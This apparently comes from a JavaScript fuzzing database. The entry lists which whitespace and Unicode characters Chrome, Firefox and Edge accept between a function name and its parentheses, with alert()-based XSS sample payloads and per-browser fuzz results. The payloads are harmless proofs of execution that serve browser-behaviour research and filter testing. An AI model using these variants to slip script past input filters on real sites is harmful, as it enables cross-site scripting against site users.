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Valid characters between function and parenthesis

Chrome logo 25
Firefox logo 25
Edge logo 25

func[chr]()

felipecaon
Created byfelipecaon
Created May 6, 2024
Updated May 27, 2025

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CategoryXSS Execution
VisibilityPublic
TypeJS
CharsetUTF-8
Template used:
alert$[chr]();log($[i])

Sample payloads

alert0x09();alert(9)
alert
();alert(10)
alert0x0B();alert(11)
alert0x0C();alert(12)
alert0x0D();alert(13)
alert ();alert(32)
alert ();alert(160)
alert();alert(5760)
alert ();alert(8192)
alert();alert(8193)
alert();alert(8194)
alert();alert(8195)
alert();alert(8196)
alert();alert(8197)
alert();alert(8198)
alert();alert(8199)
alert();alert(8200)
alert();alert(8201)
alert();alert(8202)
alert();alert(8232)

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 25 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 25 results
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Chrome logo
Chrome 124.0.0.0 Unknown Unknownolder version
Updated6 May 2024
Found 25 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 25 results
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Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 25 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 25 results
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